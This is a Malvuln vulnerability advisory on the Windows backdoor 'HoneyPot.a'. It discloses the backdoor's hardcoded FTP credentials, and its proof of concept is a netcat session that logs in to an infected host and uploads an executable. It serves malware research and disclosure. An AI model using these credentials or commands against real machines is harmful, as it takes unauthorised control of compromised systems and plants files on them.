Backdoor.Win32.HoneyPot.a MVID-2022-0622 Weak Hardcoded Password

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/e3bb503f9b02cf57341695f30e31128f.txtContact: [email protected]: twitter.com/malvulnThreat: Backdoor.Win32.HoneyPot.aVulnerability: Weak Hardcoded PasswordDescription: The malware listens on various TCP ports of which one can be port 21 when enabled. Authentication is required, however the credentials "usuario/senha" are weak and found within the PE file.Family: HoneyPotType: PE32MD5: e3bb503f9b02cf57341695f30e31128fVuln ID: MVID-2022-0622Disclosure: 07/15/2022Exploit/PoC:'senha' is password in PortugueseC:\>nc64.exe x.x.x.x 21220 Wu-ftpd 1.6.9USER usuario331 Password required for usuario.PASS senha230 User usuario logged in.SYST215 UNIX Type: L8 Internet Component SuitePASV227 Entering Passive Mode (192,168,18,125,218,13).STOR DOOM.exe150 Opening data connection for DOOM.exe.226 File received okDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).